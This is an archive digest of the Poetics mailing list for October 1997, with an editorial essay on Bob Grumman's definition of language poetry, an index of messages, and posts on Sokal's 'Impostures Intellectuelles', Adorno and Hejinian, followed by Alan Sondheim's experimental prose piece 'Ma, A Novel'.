Alan Sokal published his book in Paris in October and the list, which had watched him hoax Social Text eighteen months earlier, came back for the sequel: a hundred and forty mentions, and a thread whose title, SoKalled, is the best pun of the year. Elvis got a hundred and twelve, because Sylvester Pollet had a friend *"just back from a Utopian Conference in Memphis"* and a visit to Graceland who wanted poems about Elvis, and Pollet said he would ask. But the month's business began on the fourth, when a man nobody had much heard of did the thing this list had been formally begged not to do.

In June of last year Ken Edwards, answering a perfectly civil question about British poets, had appended a plea from the bottom of his soul: please, please, do not let anybody start another thread on what exactly langpo is. The room obeyed him for sixteen months. Then Bob Grumman posted under the heading Defining Language Poetry, and his first sentence is a confession and a diagnosis at once: *"I'm a taxonomaniac"*. He was tired, he said, of going through these discussions over and over and never knowing precisely what was meant. Sixty-one letters followed across three threads. Edwards is mentioned twice in the volume, in neither of them.

What makes Grumman interesting is that he had no standing at all, and said so — he wrote, he explained, as mostly an outsider to language poetry, which is precisely why he could ask. Insiders had spent a decade not defining it because they were in it. And he then produced a definition, which is more than anybody on this list had managed in twenty months: poetry that significantly breaks the rules of grammar or spelling for expressive effect. Not the identity of the poets, not their politics, not their philosophical outlook. A rule about sentences.

And then the sentence that undoes it. Because of the confusion around the name, Grumman went on, in his own critical writing he does not use it; he renames the thing xenolinguistic poetry — though he would rather, he added, call it language poetry. Read that twice. A man arrives from outside, succeeds where the room has failed, and can only succeed by abandoning the word. Meanwhile, in the thread next door, Mark Wallace was writing in support of Fredrik Hertzberg against *"a new round of language poetry bashing"*, and observing that he had published a piece years before on why such bashing is so common among poets. The room was defending a name it could not define.

There is a precedent and it is exact. In April of 1996 Chris Stroffolino typed the nonsense-word quertzblatz into an argument, and by that June the room was using it as an adjective, fluently, with an agreed sense, having invented from nothing a word that worked. In October 1997 a stranger looked at the room's central term, found it unusable, and made a new one. I have set Grumman's definition and his renaming in the same volume, four lines apart, because this room's whole twenty months come to this: it can make a word mean anything at all, and it cannot make its own words mean what they say. Ken Edwards knew. He asked them not to.

— Kristen M. Fabians

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505. James Finnegan — Re: Elvis poems
506. Graham W Foust — Re: elvis poems
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509. Thomas Bell — Re: the forms and the laws
510. Jordan Davis — Re: sonnets and certainty
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513. Hugh Steinberg — readings
514. Douglas Barbour — Re: the forms and the laws
515. Pritchett,Pat — Re: sci fi poetry
516. groberts — Z=A.9/?

517. henry — Re: Z=A.9/?
518. henry g' — friday's riddle
519. Thomas Bell — Reenactment of feeling in writing/reading and Nick Piombino quote
520. David R. Israel — Re: Elvis poems

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521. simon — Re: Elvis poems
522. jarnot — students of r.duncan, etc.
523. Susan Wheeler — Readings
524. creinervppp — litpress.com
525. robert drake — Re: Hans Ebner (fwd)
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527. Susan Schultz — Louis Simpson, ps
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529. John Tranter — Jacket magazine # 1 and # 2

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532. David R. Israel — several absurds
533. Ryan Whyte — and
534. Marcella — Talisman Benefit
535. Jordan Davis — Re: several absurds
536. Douglas Barbour — Re: Louis Simpson
537. Kathleen Crown — Re: Readings
538. Bob Grumman — The Latest on Comprepoetica
539. David R. Israel — Re: several absurds
540. James Brook — ellen ullman, close to the machine
541. Herb Levy — Re: Elvis poems
542. Stacie Slotnick — George Oppen's "A Kind of Garden: A Poem for my Sister"

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543. simon — Re: Elvis poems
544. Michael Heller — (no subject)
545. Safdie Joseph — Re: Beyond Baroque Saturday night
546. Jack Foley — SOKAL & LACAN
547. henry gould — Re: SOKAL & LACAN
548. Herb Levy — Re: friday's riddle
549. mark weiss — Re: SOKAL & LACAN
550. henry gould — Re: friday's riddle
551. Peter Ganick — Re: litpress.com
552. Peter Ganick — Re: litpress.com
553. I'm cris cheek — cris cheek seeking urgent forward to british poets list

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554. jarnot — Rodefer & Sharma reading
555. Maria Damon — Re: Rodefer & Sharma reading
556. p. durgin — Boxkite
557. Mark Prejsnar — Mass disappearance
558. Brent Long — Frank Stanford Film to be shown in Chicago
559. Bob Grumman — A Minor Item about Comprepoetica
560. Loss Glazier — Announcement re: EPC
561. Carolyn Guertin — Mac Cormack/McCaffery
562. Kenneth Goldsmith — Re: Another Idea
563. Steven Marks — puffs came in lanes
564. Alan Grep Sondheim — poem-message on the moo (fwd)

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565. Thomas Bell — address
566. Sylvester Pollet — Re: puffs came in lanes
567. Marcella — FW: Mass disappearance
568. Steven Marks — Re: puffs came in lanes
569. henry gould — Re: puffs came in lanes
570. William Burmeister Prod — Re: puffs came in lanes
571. William Burmeister Prod — Re: poem-message on the moo (fwd)
572. Harold Rhenisch — Re: puffs came in lanes
573. Alan Grep Sondheim — Re: poem-message on the moo (fwd)
574. Bob Grumman — A Big Innovation at Comprepoetica
575. William Burmeister Prod — Re: poem-message on the moo (fwd)
576. Rachel Loden — season of the witch

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577. cris cheek — Re: ILS 1.8/Watten on the (Assembly) Line
578. Douglas Barbour — Re: season of the witch
579. Mark Prejsnar — Re: A Big Innovation at Comprepoetica
580. hg — pronounce-ment
581. aerialedge — Nominations please
582. Dean A. Brink — Re: A Big Innovation at Comprepoetica
583. p. durgin — Re: Nominations please
584. Carol Mirakove — Re: Nominations please
585. acgold01 — Broms
586. Mark Prejsnar — Re: pronounce-ment
587. Gwyn McVay — Re: A Big Innovation at Comprepoetica
588. Gwyn McVay — Re: Nominations please
589. Tom Beard — Re: puffs came in lanes
590. hghghghg — Re: pronounce-ment
591. Safdie Joseph — Re: pronounce-ment
592. hghghghg — Re: A Big Innovation at Comprepoetica
593. Bob Grumman — Re: pronounce-ment
594. Brian Carpenter — Re: Nominations please
595. David R. Israel — Re: Nominations please

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596. Michael Magee — Re: Nominations please
597. Ed Moran /General Pub. 4th Floor — Re: Nominations please
598. Brent Long — Re: Nominations please
599. p. durgin — Re: Nominations please
600. R. Gancie — SOKAL AND LACAN
601. David Benedetti — Re: Nominations please
602. Pritchett,Pat — Re: Nominations please
603. Bob Grumman — A News Release
604. Henry Gould — SOAK-A-LACAN
605. mark weiss — lacanic statement
606. Juliana Spahr — reading report from Honolulu
607. henry g — friday's riddle
608. Bob Grumman — Re: Nominations please
609. George Bowering — Re: Nominations please
610. R. Gancie — Sokal & Lacan: Correction
611. mark weiss — (no subject)

1. Rachel Levitsky
Re: thanks
Wed 1 Oct 1997

Hoa Nguyen wrote:
>
> Dear List People--
>
> I will still be receiving mail at this address but I won't be
> subscribing to the list anymore, so if you address any questions
> to/towards me, you will need to back channel for me to see it or to
> garner a response.
>
> Feeling weird but ok,
>
> Hoa
> Dear Hoa,

Your departure will make the list a more lonely place.

take care,
Rachel

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2. aerialedge
Re: Lynn Hejinian's essay "Rejection of Closure"
Wed 1 Oct 1997

A revised and expanded version of "Rejection of Closure" appears in _Onward: Contemporary Poetry & Poetics_ ed. Peter Baker, Peter Lang Publishing, 1996. Another essay by Lyn (one n) I'd recommend is "The Quest for Knowledge in the Western Poem" which appears in _Disembodied Poetics_ ed Waldman & Schelling, U. New Mexico Press, 1994.

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3. George Bowering
Re: People of Color
Wed 1 Oct 1997

Regarding Richard Wright and "Melanctha"---

I believe I read somewhere about 30 years ago that during the Depression Wright had some job with one of those public works projects (back when his country seemed to be developing into a democracy), in which he was a teacher

trying to raise reading skills with poor Blacks. And he used "Melanctha" as a kind of textbook.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]

↑ Index

4. George Bowering

Re: Lynn Hejinian's essay "Rejection of Closure"

Wed 1 Oct 1997

> *Hello All,*
> *Does anyone know how I might obtain a copy of Hejinian's essay "Rejection of Closure," originally in Poetry Journal, sometime in the late 1980's? Web searches have been unsuccessful so far.*
> *Thanks,*
> *Pete Balestrieri*

A lot of it is in Hoover's Norton Anthology of postmodern poesy

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]

↑ Index

5. Fredrik Hertzberg

Re: Social Tangles

Wed 1 Oct 1997

> *What I disagree with is the now accepted fact that art can contain, or represent in some way, the same sense of social urgency as a conversation, say, or discussions like those on this list. Art's power is not in what it addresses, but in what it is capable of reflecting.*

Why can't reflection (in Adorno's sense) be socially urgent? Isn't one idea in Adornos' Aesthetic Theory that art's reflection is the best (& only) agent of social critique?

> *our social desires. At times, 'experiemental' forms, the ones, perhaps Kevin publishes in Mirage, though he doesn't necessarily like them, appear inhuman to me because they repel any human sympathy I might be capable of lending the poem. I often always agree with the social cause inherent in such poems. But the inhumane disregard for the reader strikes me as an ingenuine gesture on the poet's part. Because, as the poet strives to communicate social injustice, he or she alienates those who might otherwise support it. I realize humanism itself is suspect of*

But aren't the forms otherwise available for expressing 'humanist' alienation often alienated/ alienating in themselves? You seem to forget that they're also cultural (not natural) forms. & What wd. it mean for the writer to regard (rather than disregard) the reader? Aren't such regards always fictional?

> *1) This Language-influenced poetry lacks a unified subject of expression, ie, the poem's voice is fragmented, or composed of many voices. It is paratactic and employed as a formal element. I suppose this is due to some mimetic sense of same disunity in the culture at large, and is potentially a valid expression of such.*

Why does 'voice' always have to serve as a model for explaining what Language po doesn't do? What I enjoy in much disjunctive poetry is the distraction of not becoming absobed and engaged by a persona (emotional or otherwise)/ several personas/ voices but finding out about language as a medium, when and why and how language controls, lets go of control & etc.

> *4) It distributes a wide range of images throughout a poem, but without an apparent purpose. It is unable to form recognizable patterns and therefore confuses, increases the human distance of which I spoke earlier, and takes the power of interpretation away from the reader by not giving said reader a leg to stand on.*

Sometimes humans need distance from the human/ humanist world. & sometimes we need a more distanced control (or non-control) than what 'a leg to stand on' implies.

> *I don't see how any of the above benefits social causes in any way. Whereas, lyric poetry, by recognizing suffering, employing language to heighten sensitivity or sympathy, and appealing to the humane impulses of the reader was able to address similar social issues. But it*

What's the point of addressing if it only hightens sympathy and recognition?

I'm not just asking to provoke, I'm interested in the relation between Adorno & the language poets & why you (/others) think that they're so incongruent.

Fredrik Hertzberg

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6. henry
Re: Social Tangles
Wed 1 Oct 1997

On Wed, 1 Oct 1997 11:21:36 +0300 Fredrik Hertzberg said:
>
>Why does 'voice' always have to serve as a model for explaining what
>Language po doesn't do? What I enjoy in much disjunctive poetry is the
>distraction of not becoming absobed and engaged by a persona (emotional or
>otherwise)/ several personas/ voices but finding out about language as a
>medium, when and why and how language controls, lets go of control & etc.

You raise some good points here - I guess my problem with this approach to writing is I have trouble imagining "language" doing ANYTHING by itself. There's always a human agent, selecting, distorting the feedback. It's always a voice, even behind the mask of "pure language". But I see your point about distancing the poem from simply recording the self or selves. It gets boring without the off-beat. Where would I be, in fact, a simplified boring digital-talk-self, without Jack Spandrift there to raise the ante? - Henry Gould

Henry, you "talk" too much. Did you hear Gene Autry died? - Jack Spandrift

Why don't you ever talk about women cowboys, Henry?
- Elliza McGrand

OK, I will. I met one in Wyoming once, when I worked on the Barlow Ranch for a few weeks before hitching west. She was named June, I think, was blonde, always dressed in spangles & such, but could shoe a horse lay fence wire & rodeo with the rest of the crew. I think she was the top rodeo rider in Wyoming for a while. That was about 25 yrs ago. My brother could tell you more about her. He was a regular there for years. - Henry Gould

Don't believe a word of it, Elliza.
- Eric Blarnes

Eric Blarnes is a coyote.
- Coyote

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7. David R. Israel
(Fwd) impostures intellectuelles
Wed 1 Oct 1997

Poetas & Poeticos,

the appended item (from the So.Asian Lit listserv) is apt to prove of some interest to several here.

Seems Dr. Sokal will make even more of a name for himself now.

yours,
d.i.

------- Forwarded Message Follows -------
Date: Wed, 1 Oct 1997 10:35:47 +0100
From: Mario Menti <[redacted]>
Subject: impostures intellectuelles
To: Multiple recipients of list SASIALIT <[redacted]>

Re. the current debate about Spivak and over-complicated writing, the following may be of interest (if not strictly topical):

Two scientists, American Alan Sokal and Belgian Jean Bricmont, are causing a stir in Paris with their book "Impostures Intellectuelles", published next week. They attack the writings of, amongst others, Jaques Lacan, Julia Kristeva and Regis Debray. They write: "We want to 'deconstruct' the reputation that these texts have of being difficult because they are deep. We show that if they seem incomprehensible, it is for the very good reason that they have nothing to say." And about the above-mentioned thinkers they say: "They talk abundantly of scientific theories of which they have, at best, a very vague understanding. They display a superficial erudition by throwing words at the reader in a context where they have no relevance. They demonstrate a veritable intoxication with words, combined with a superb indifference to their meaning." Jacques Lacan (a well known psychoanalyst) is criticised for "arbitrarily mixing key words of mathematical theory, without in the least caring about their meaning." The authors take particular exception to one of Mr Lacan's lesser known theories, in which he argues that "the erect male organ, not as itself, not even as image, but as the missing piece of the desired image, is thus equal to the square root of -1 of the highest produced meaning."

According to the Guardian newspaper here in the UK, the book is "already a topic of furious - and unfathomable - debate in the cafes of the Latin Quarter".

There is also a fairly short (French) article about it on the Web, at
http://www.yahoo.fr/actualite/970925/culture/875179380-yaho875182886036.html

At the very least, I suppose it shows that this issue is certainly not limited to Indian writers.

Mario.

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8. Jordan Davis
Re: (Fwd) impostures intellectuelles
Wed 1 Oct 1997

David --

I was disappointed to hear this might not be true:

> *The authors take particular exception to one of Mr Lacan's lesser known theories, in which he argues that "the erect male organ, not as itself, not even as image, but as the missing piece of the desired image, is thus equal to the square root of -1 of the highest produced meaning."*

I hope someone at Poetry Headquarters will put Messrs Coleridge Stevens Deleuze and Ashbery on full alert for this so-called Sokal...

or rather I hope Laura Riding is having a good laugh--

Jordan who apologizes for any adornesque rumblings about art and the economy / and or class as more fundamental than race/sex relations .. from now on it's just behaviorism and fresh squeezed grapefruit juice

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9. Pierre Joris
Re: (Fwd) impostures intellectuelles
Wed 1 Oct 1997

David -- the link your cited article gives is defunct. But for anybody interested in the French reaction to theSokal/Bricmont book just out in France, check the following web page of the French daily "Libération":

http://www.liberation.fr/sokal/index.html

It's in French, sorry about that, but it also has a link to Sokal's own homepage in NY where he has carefully archived all the "sokal affair" data.

Pierre

David R. Israel wrote:

> *Poetas & Poeticos,*
>
> *the appended item (from the So.Asian Lit listserv) is apt to prove of some interest to several here.*
>
> *Seems Dr. Sokal will make even more of a name for himself now.*
>
> *yours,*

> *d.i.*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"I have never been able to tell a beginning
from an end." — Georges Braque
==========

↑ Index

10. Pritchett,Pat
Re: Lynn Hejinian's essay "Rejection of
Wed 1 Oct 1997

Peter,

You can find it in Peter Baker's _Onward_ (I think that's the title), an anthology of contemporary poetics. I recently xeroxed a copy of it. Would be happy to send to you if you are unable to locate it. Backchannel me with your address.

Patrick Pritchett

From: Peter Balestrieri
To: POETICS
Subject: Lynn Hejinian's essay "Rejection of Closure"
Date: Tuesday, September 30, 1997 8:43PM

> Hello All,
> Does anyone know how I might obtain a copy of Hejinian's essay "Rejection of Closure," originally in Poetry Journal, sometime in the late 1980's? Web searches have been unsuccessful so far.
> Thanks,
> Pete Balestrieri

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11. Holly Crawford
Re: Weapons named after people & military slang
Wed 1 Oct 1997

Flour dust is very combustible. It will and has expoded. A flour mill in Minn. went up late last of early this century. Installation artist recently had

conscept piece for the Walker MN that involved conveyor belts and moving flour from room to room. It was built and the fire marshall never let then open. I had mentioned this up to the fire marshall and my father, who has a degree in chemistry and family owed large bakery was horrified. He was headed to the phones before the flipped the switch. It seems it's electrical spark that will cause it to explode.

> *I have no knowledge of explosives - why, I wonder, did they mix explosives with flour - were they trying to harness the self-raising power?*
>
> ----------
> *| From: Kali Tal <[redacted]>*
> *| Aunt Jemima: explosive mixed with flour (WWII)*

Offerings Project
Send me an offer.
URL:http://www-leland.stanford.edu/~geo/holly_crawford.html

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12. Alan Jen Sondheim
Ma, A Novel
Wed 1 Oct 1997

(This, all of 20 pp. most likely, unless spread across a book with the proper spacings, is the finished novel. You will see how it relates to Poetics, Jabes for example, Blanchot, Kim Dawn's ( ) perhaps, and as I indicated elsewhere, the text exists between the letters, thus new characters appear, 26 x 26 or 676 of them; likewise, these adjacencies produce 676 x 676 ...

Enjoy, delete, pass on, the text is yours for the asking. Do read from the beginning, since there have been changes. Do read to the end, since there is a future. Alan)

Ma, A Novel

Clara and Travis meet in a foreign city. She returns to Fukuoka-Yr. They correspond by email halfway across the earth. He travels to Fukuoka-Yr to meet her at the airport. As the plane approaches, he's surprised to see herds of animals near the edge of the city. He'd have to ask her later.

Ma, A Novel

Which I do work on: "Her nights, his days. Her days, his nights."

And that he comes to a foreign city and does not understand the language. And that the airport is brown. He's got a sheet of paper, he can't de- cipher. What is it, where is she. He shows it, there's a taxi, a sheroot, he gets in, it's already old, nervous. He goes somewhere, recognizes nothing. Characters in other scripts, cuneiforms for all he knows. Llamas cross his path.

But the city's vacant, her place is vacant. Locked or unlocked - in this novel, it won't make a difference. He goes in, the door opens. There's nothing, no clues. It's clean, no dust, breakins. He doesn't know. This is a man, Travis maybe, who doesn't know a thing.

He can't find her friends because everyone shrugs. He meets people who speak his language, easy now. They know her. They haven't 'seen her around.' She's the kind of person one sees around. She's private. But there are no rumors, nothing. She works in medicine.

Well, she hasn't been at the clinic. Nothing is missing. You can see where this is going, of course. Doors close behind him, before he reaches the knob. The keys are like Berlin keys, they go through the hole, out the other side. That's impor- tant, there are windows through rooms and no one is ever looking.

Now something has to happen for the novel to be a novel, what then? Per- haps a clue, but there are always clues, even clues in the beginning of things, the glance of a dark-haired woman at the airport, a slip of cel- lophane on the floor of her flat. Clues are things that gather meaning, reverse time, reconstitute events. But things are cluttered here; the sook is filled with blood where the an- imals are slaughtered, nomads come in from the countryside, shrines are staffed by garage gong bands. The Genkai Park inexplicably closes down; there are guards, something's hap- pened.

No clues then, but this happening. What could be on the run. Later, two people are captured, he doesn't understand. There's a celebration in the city involving a wheeled boat which capsizes against chains of humans carrying placards of waves. People are really injured and the clinic's on hand.

He finds food, stays in her place. He's ill-at-ease, a woman comes wear- ing a veil and he pays the rent, holding up the currency of his country. He's surprised how little everything costs. He should feel as if he were now a part of her life, the woman who was going to meet him, but he does- n't. He might wear a bracelet or necklace one day. He wears her jumpers, goes out aimlessly. He thinks, it's all come to a halt here.

He finds himself listening to himself finding himself, but he's not lost. Just that there is this constant wonder at the world. He's more in love with her than ever before. One day, he goes to a screening of silent films, Melies. Women are dis- appearing all over the place. He'll make a film about a magician, a woman who

brings men back to life. The woman trance-trains, has visions. Then she sets up mechanisms, everyone knows all of this and she's quite successful. She dies. Her extras are out of work, lifeless. They form a secret circle. They keep her corpse, have visions, try to raise the dead. They have visions, but they don't trance- train, in fact they do nothing at all. She comes back to life.

There's a knock at the door of the flat. He's been there for months, un- recognizable. His nights, her days. His days, her nights. Whammo-kazowie, she's at the door. It would be presumption to ask. She talks about vis- ions, what she knows. Beneath the flat, there are missile silos. Next door, enigma code writers are hard at work. Across the way, the buildings are part of the largest ship ever constructed, you can see the alley- gangway down to the sea. The ship begins to move, everything shakes for a minute. The ship stops again, earthquake he says, no she replies.

She's learned everything, signs and symbols. She can't read the cuneiform either, but insists it isn't important. What comes between the letters, she confides, that's it more or less. What comes between the letters, he realizes, is his own alphabet. Everything shudders, they take the Shin- kansen back to the sheroot stand near the roman ruins. The drivers are different and perhaps she departs.

But the novel won't go this way. It will be populated with expatriates, colorful characters named Abdul, Charisma, and Jennifer. They'll drink a lot and expostulate. There will be all sorts of other horizons strat- egically across going-native. Sarongs and turbans, veils for the women, who would and wouldn't. There are fires on the other side of the city - they never come nearer. Guerillas, one opines. They listen to the short- wave, marry local, leave one by one. They fan out across the city.

No, they don't, nothing like that happens. There are clues to the woman's disappearance. The airport appears to be a mechanism of some sort, the runways laid out in shamanic configuration, easy hiragana squared off for the takeoff and approach. The stewards knew he was arriving. The pilots watch him, uneasily, warily, he can't help noticing. Whatever is afoot takes him by surprise. Nausea, fear.

And then, the rest of the novel. Things happen.

Fragmeant

Travis wrote to her. The time and return was .465 seconds on average, not bad when Fukuoka had been considered the center of the world in the four- teenth century, his own hometown unknown, fallow, untended. He was aware of the gaping maw of the sun, violent lunacy of the swinging moon which rarely

showed its face - from its night, the radiance of her day showed forth. Mesmeric, he adapted himself to her schedule, his sun-up suppers with his friends were the occasion of back-channel conversations about sanity and the diameter of the earth. He joked he was the only one aware of circumference, of what a sphere was and meant - that he was the only one earth-bound, everyone else walking with stitched eyes and habits formed from childhood. He knew the sphere of stars and its awkwardness, how it shuddered above and below the equator, the rings of luminescent star-clouds and their satellites, give and take of unknown constellations.

But it was his doubling that fascinated him, breakfast as dusk rose, not dawn, sleeping at odd hours reflecting gaps and silences, and his Monday night class that began oddly enough on Tuesday morning at seven - he re- mained surprised that the students were alert, keen on the speed of the Net, which should have been accountably slow and clumsy.

His clocks gained a minute, lost a minute. He tried to meet himself half- way, like a friend. His nights were bright with untoward clarity, unthun- dered days, dark, uncanny, silent. Someone fixed the stars, he thought, they were never when they were supposed to be.

She wrote him about the llamas.

Llamas

The llama glistened, black carapace covered within insistent tortoise plates gleaming in the brown air of noon. It didn't move. Sirens in the distance constantly changing, warding off violent cars close to veering out of control. The head turned. Smoke from the nostrils, soot-nose beneath glowering eyes, body tensed with radiant energy. Shimmered waves of heat rose from the back, the breath, the brow.

She noted this in her brown notebook, ruled with blue lines. She wrote him about the llamas near the Shikuneem, vicinity of Kasuga-Shi. They were llamas, Luria, she was a tracker with a blue felt hat, sorobon and note- book, penning ebb and flow, turbulent streams of animals burrowing into the world. They were moving in from the arroyos south-west of the city, the burning-plains traveled only by the Shinkansen. It was said that bones sparkled as the trains rushed by, straight unbuckled rails held up to the sanded grounds too hot for human touch.

Travis remembered her uneasy witnessing, now the thing before him, as if produced by the cuneiform inscriptions everywhere in his vicinity. It was a one world, transitive, her llama text taking root, hair, and bone; she was nowhere to be found. Had she left him these animals, created by pure description? Was her disappearance contained in the eye of the beast, the vestiges of retinal memory

destroyed by the fire next time? For a second he felt the creature recognized him, but that second passed, replaced by the uncertain knowledge that he was losing her trail as the purely exotic began its uneasy hold.

Did she watch from the grey-pink building tiled against the sky? Did she lay harbor-dead, trolled by fish and crustacean, memory lost and tangled in kelp, seed-pods of aquatic plants adapting to stratified pollutions dragged from shore to sea-bottom and back again?

Travis found his language tangled as well, the product of uncertainty, loneliness, and an ignorance so pure he had no name for it.

———————

Parting the Thirty-Fourth

Clara reached over for her box of cigarettes; if Avi didn't leave soon, all hell would break loose. He'd already fallen off the futon three times in the night, what would you expect from a gaijin who faded in and out of the desert weekly.

The Desert Weekly, lead story: Gaijin loses grip on wadi edge, plunges two meters to gravel pitstop, slight remains of moisture lapped by desert frogs. Pictures, page 2.

When he left, she turned on the radio, cd player, computer, called the airport, Fukuoka International. The name for city was 'ir,' Fukuoka-Yr carved in cuneiform on the corner lintels everywhere. They never let you forget. Flight 75, San Francisco, Oregon, Nepal, Catalina Island, Oman, Fukuoka-Yr in that order. It was on time and she imagined the plane poised perfectly in a planetary ring, waiting for the moment to descend. She dressed, left the bet-ie, headed down the street.

The llamas were waiting as she stepped into the troika. She headed out on Number One Highway, south, left on Shogun. She hadn't worn her hat, see, for quite some time now. They stopped by the marshes, approximately five kilometers from the terminal. She watched the plane make perfect descent, dialed Robert immediately, continued on her way.

When Robert answered the phone, Jane was in the other room. They spoke in whispers, aha. She told him all about the recent demographics, head- counts. Later he'd say she was nervous, preoccupied. He was a specialist in cartoucherie, useful where the only secure mode of communication was still clay-based. Lady Sarashina had written

Were it not for river rock and pine
This clay would not have impressed
My name, my love, your _hon_

or book, mnemonics of his mind, to whom she had written, borrowing from Chinese Ch'in-fu, the impress of the reed pen, striations of thought as the seven strings, seventeen vibratos, sounded, then faded into ma. Clay into thought, material into the silence of the word, all this heaven.

Clara was circumscribed by Robert's interest in her demographics, by the movements of llamas across the burning plains, by the distance of the troika (found by the side of the road) from the airport. Her disappearance dissolved into the gaze of Travis, waiting for her, waiting and waiting - a gaze transformed into a glance, then the look-see of astonishment as he began to understand she might never meet him again. Would he remember her voice, enumerating herds, packs, gaggles, schools, flocks, enervated groupings of the awkward black mammals, their armor-plating clacking in the heat of the day?

Every one of these people were breathing, in and out.

Clara turned over lazily, suddenly realizing what had happened. She woke with a start in utter darkness. The worst had happened. "Travis," she said, uncertainly, "Travis."

'Yes,' he replied, as a hand slid along her arm, her face, her hair. "I'm here, darling, I'm here."

On or Off the Mark

He rose early, left her house. After the second week, he had installed a tighter lock on the door, although the thin window-frames were easy enough to puncture. Now he felt he was in her shell, the doubled times between his home city and Fukuoka collapsed into the singularity of her absence.

As he rounded the corner, a young man on a blue bicycle passed, face in- tent on negotiating past the yellow just-ahead-truck. They collided.

Travis felt for his glasses, notebook; young Sven apologized. Clockwork could be heard in the midst of the spilled packages. A woman crossed the street, umbrella in hand. "I'm quite sorry," he stammered. "No damage done," he replied.

"Everything is time here," Sven said. "Their whole lives are planned out for them, even the priesthood. Monotheisms take their toll." What wasn't there to understand.

"Have you seen her, by the way," asked Travis, "the woman who used to live here - I was supposed to meet her weeks ago. She's been missing as far as I can tell."

"I've been missing her."

"You reported her to the police?" He had, with little luck, no results, less comprehension. "Gaijin," they had said, "Avarim," it happens all the time. They have their own customs, come and go, the trade-routes and the like. Sven nodded. He had long blond hair, vacant gaze, thin leather jacket.

"I've seen her," he said, deciding to tell. "She's the one I drove to the airport, we had a spill on the way. She was gone when I came to. I didn't say anything to the police - moonlighting. Mind if I smoke?"

Had a cigarette, continued. "I knew her for several years here, we're a close community. She was aloof, prone to raging in the streets late at night, we got along. Had something to do with the llamas, I couldn't see the point in tracking imports you know. She thought they made patterns in the city - the only patterns here are the runways at Fukuoka-Yr Interna- tional. They're a glyph you might read from the air, a sign for love, odd in this environment."

They looked around at the factories, smoke, grey-pink buildings, men and women speaking incomprehensible tongues, Palawian, Sumerian, Hittite. Everyone was bound by cuneiform, common among them. Everyone, even Travis, could he but read the literal writing on the wall.

"She was involved with something," Sven said. "She talked about a new kind of corporation, I didn't follow her. It didn't make sense, but this was, she insisted, different, it drew a blank where an economy might be."

"Drew a blank?"

"It emptied finance, not engaged, didn't zero out, plus and minus, assets, debits, that sort of thing. It had power in production. It had chains, flows, automations. She was tracking it through the llamas, said they were intelligent, agents of sorts, traffickers."

"I never saw llamas like these before," Travis said. "Carapaces are unus- ual, pangolins or armadillos, yes, but not your typical ungulates. For all I know, they might be wired, plasticine, something of that nature. All those plates. Look there."

Travis loved explanation, it made sense of the world. As a child, he took screws apart. He ordered the world and the world was filled with orders filled and delivered. Now he thought, the city, the city. Now he thought, I'm totally wrong here. He wanted to return to the house.

Suddenly Travis knew that Sven knew something, Sven knew Travis knew nothing at all.

What the World Did and Said

A fierce wind drove across the plains. Tumbleweed blew about, covering the Shinkansen tracks and trains slowed down for the nowhere sight. The sun gloomed red and sullen against the silhouettes of mountain torn from the planet's paper scroll. Lizards scuttled across the pock-marked rocks and earth; centipedes scurried under cover, their legs coated with tiny crys- tals of embed- ded sand. Even the llamas moved slowly, their scales burn- ished by gusts scouring the remnants of the natural world.

Still the stars turned in more-or-less constellations, in a frozen sky above the doomed melee. Below, a lidded eye opened to nothing, closed quickly; above, vacuous light reflected only clouded surfaces for whole races elsewhere intent on penetrating the secrets of the earth.

The moon and sun, tethered, trembled and yawed at the taut cords binding them together in the fugue state of the world drawn down into heat and exhaus- tion.

Clara woke again.

_____

Letter

She sent him a letter in a dusty envelope of clay, impressed with reed charac- ters. It fell into her home through the mailslot, cracked open on the floor.

He couldn't read a thing. Sven could:

darling, darling, darling, darling
darling, darling, darling, darling
darling, darling, darling, darling
darling, darling, darling, darling

"Is that all," Travis asked, is that all. Sven shrugged, look at the repe- tition. Travis felt the current.

The envelope, Travis said, "the envelope." Sven picked up the pieces, the Shearim-Ku address clearly visible. But there was more, long drawn-out lines scrawled, reassembled, recuperated, the ascension of language in Sven's nim- ble hands:

these may secrete glues fixatives across the spine of the wanderers o dar- ling emptied coffers not even coffers not even wood-logs holding shekels o darling not even monies of this world and the next o darling vertebrae of the wanderers o darling in you in this stony you in you heptagon o darling three beauty you un- knowing-travis knowing me

Sven slowed toward the denouement of the powerful message, the twenty-one darlings of the tripled heptagon, Sven noted mesmeric Travis in love, Clara's

presence filling her tiny home, welcoming him forever, ghost of Clara, projection-Clara lost on walls and ceilings, Clara-wraithe tip- toeing across tatami floors, whispers everywhere. Sven stopped writing, turned towards door, left quietly, Travis to his own devices.

———————

Engagement Ring

Travis thought, it emptied the economy. What was precious, disappeared - exchange value, all of it. Take the fetish out of Marx, the rare jewel simply doesn't exist, everything is common, free software. Not communism or socialism, simply nothing. Gold unstable, platinum non-existent al- ready. This corporation was _disengaged,_ not there. No chairman of the board, no stocks. No offices, products. Power in absence.

Travis thought, he couldn't conceive the future here, what then? Was it hoarding, llama-plates carefully disguising sheaves of rare metals, dia- dems, high coinages of nations on the way down? Silver was transparent at the edges, diamonds lost their glint, cobalt its eerie luster. Art copied itself, copies shuffled in the commodities market along with salt, oil, corn.

Travis feverish.

Travis thinks Clara-knowledge. Thinks like Clara thinks, llama-gold-and- silver. Thinks traces across the ruffled streets unfurled with absence ignored; there would be no resurrection. Cuneiform strategies and wagers. The political economy of preciousness.

Travis thinks, Clara is precious. Thinks the disappearance of Clara in this incomprehensible land, cries Clara-comfort, calls Sven for help. Travis is wise, the glimmer of idea.

Sven arrives, they're in the house. Sven smokes, Travis drinks. "What's the possibilities here," Travis said, about absent-Clara. Humans don't have exchange value, not since slavery, capitalism's roles, the military. There's always someone else beneath the blue felt hat, always someone, don't mistake the exchange for an individual's history.

"We're bound together," Sven says, but something escapes. Love magnifies it, you were coming for that. "So the corporation takes action. Clara, like uranium, radium, glows. She disappears, you're flattened out here. Her work stops; you can't read the language, hiragana clay-marks. It's over, you're in her house, wear her clothes, breathe her."

"You and the corporation know it's not enough," Sven smoked. "So they'll think you're a danger to them. Don't take any troikas!" Because it may not be me driving.

In an economy of zeros.

"It's not enough," Travis drank. "She's alive, the keikan are in on it." The message had twenty-one. Travis thinks maybe the city is the corpora- tion, Fukuoka-Yr. Or Robert, Sven, or none of them. Travis thinks of llamas. All the Gaijin, Avarim. "Everyone's life is precious to someone."

